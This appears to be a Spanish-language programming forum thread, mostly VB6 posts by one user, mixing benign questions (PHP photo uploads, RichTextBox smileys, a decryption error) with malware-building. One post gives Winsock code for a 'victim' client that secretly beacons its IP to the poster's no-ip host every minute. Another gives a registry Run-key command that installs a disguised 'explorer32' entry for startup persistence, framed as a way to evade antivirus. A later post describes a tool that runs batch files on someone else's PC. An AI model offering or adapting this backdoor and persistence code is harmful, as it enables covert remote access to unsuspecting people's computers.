Mensajes

hola gente, ando con un problema que me va a costar plata si no lo soluciono.
estoy programando una pagina en ajax con php.. y tengo una parte que hay que subir una foto, el problema es que no puedo subir la foto, no porque la programacion sea mala sino porque el apache de el fedora 7 no me deja.. si alguien puede darme una mano lo agradeceria mucho.

Gracias a todos

me parece que voy a usar la API

un pekeño codigo (cliente servidor en winsock) si tenes una cuenta en no-ip.com es muy util

Cliente(victima):
necesitas un winsock y un timer

Código [Seleccionar] Expandir


Private Sub Form_Load()
Timer1.Interval = 60000
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Winsock2.Close
Winsock2.Connect \"TU_CUENTA_NO-IP\", 1900
Exit Sub

Private Sub Winsock2_Connect()
Do
Loop Until Winsock2.State = sckConnected
Winsock2.SendData \"hi\"
End Sub


Servidor (vos):
un winsock y un text box

Código [Seleccionar] Expandir


Private Sub Form_Load()
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
If data = \"hi\" Then
    Text1.Text = Winsock1.RemoteHostIP
    Winsock1.Close
Else
    Winsock1.Close
End If
End Sub



eso hace el trabajo

bueno aunque tenes una respuesta esto es algo distinto que no usa apis. no me gusta usar apis porque los antivirus te pueden hacer problemas, asi que podes usar el cmd... por ejemplo para agregar algo para que se inicie en el principio de windows:

Código [Seleccionar] Expandir


Shell \"cmd \\C REG ADD HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v explorer32 /t REG_SZ /d C:\\explorer.exe /f\"


por lo que entendi queres poner una imagen en un text box, eso es imposible.
lo que haces es poner un RICH TEXT BOX (buscalo en los componentes).
yo hice algo parecido con un chat y smiles asi que te dejo el codigo...

Código [Seleccionar] Expandir

Do While i <= Len(Text1.Text) \'un while que pasa cada dos letras
   If Mid(Text1.Text, i, 2) = \":)\" Then \'si esas dos letras son \":)\"
     Text1.SelStart = i - 1
     Text1.SelLength = 2 \'seleccionalas
     Text1.OLEObjects.Add , , App.Path & \"/imgs/smile.bmp\" \'pone la imagen (asi como las letras estan seleccionadas las cambia
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \":(\" Then \'lo mismo que antes
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/sad.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \":D\" Then
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/smile2.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \";)\" Then
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/tic.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \"`(\" Then
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/cry.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \":$\" Then
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/Oops.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \":S\" Then
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/S.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \"B)\" Then
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/glasses.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    If Mid(Text1.Text, i, 2) = \":P\" Then
     Text1.SelStart = i - 1
     Text1.SelLength = 2
     Text1.OLEObjects.Add , , App.Path & \"/imgs/ll.bmp\"
     Text1.SelStart = Len(Text1.Text)
    End If
    i = i + 1
Loop

asi agregas imagenes....

bueno gente la cosa es asi, hace mucho habia programado un programin que ejecuta batch files en una pc ajena y era muy lindo pero no andaba ahora que volvi a verlo lo hice mejor y me di cuenta que no anda porque el 99.99% de las conputadoras no tienen winsock. entonces hice un programa que copia el MSWNSCK.OCX al %systemroot%\\system32 y lo copia pero todavia no anda, entonces me dijieron que haga en el cmd \\\"regsvr32 C:\\WINDOWS\\system32\\MSWINSCK.OCX\\\" pero sale un error de que no es un library o no esta en el windows helper...

alguien sabe como instalar winsock en una maquina con windows xp?

huuu gracias!!!

runtime error: '5'

invalid procedure call or argument

sale eso.... y cuando apreto en debug me marca la linea

decrypted = decrypted & Chr(Asc(Mid(Form1.Texto.Text, x, 1)) - Asc(Mid(Text1.Text, y, 1)))

no no, cuando cifro algo y le hago save... despues abro ese algo e intento descifrar no descifra

entiendo..... pero me sigue saliendo una falla cuando lo intento desencriptr despues del open....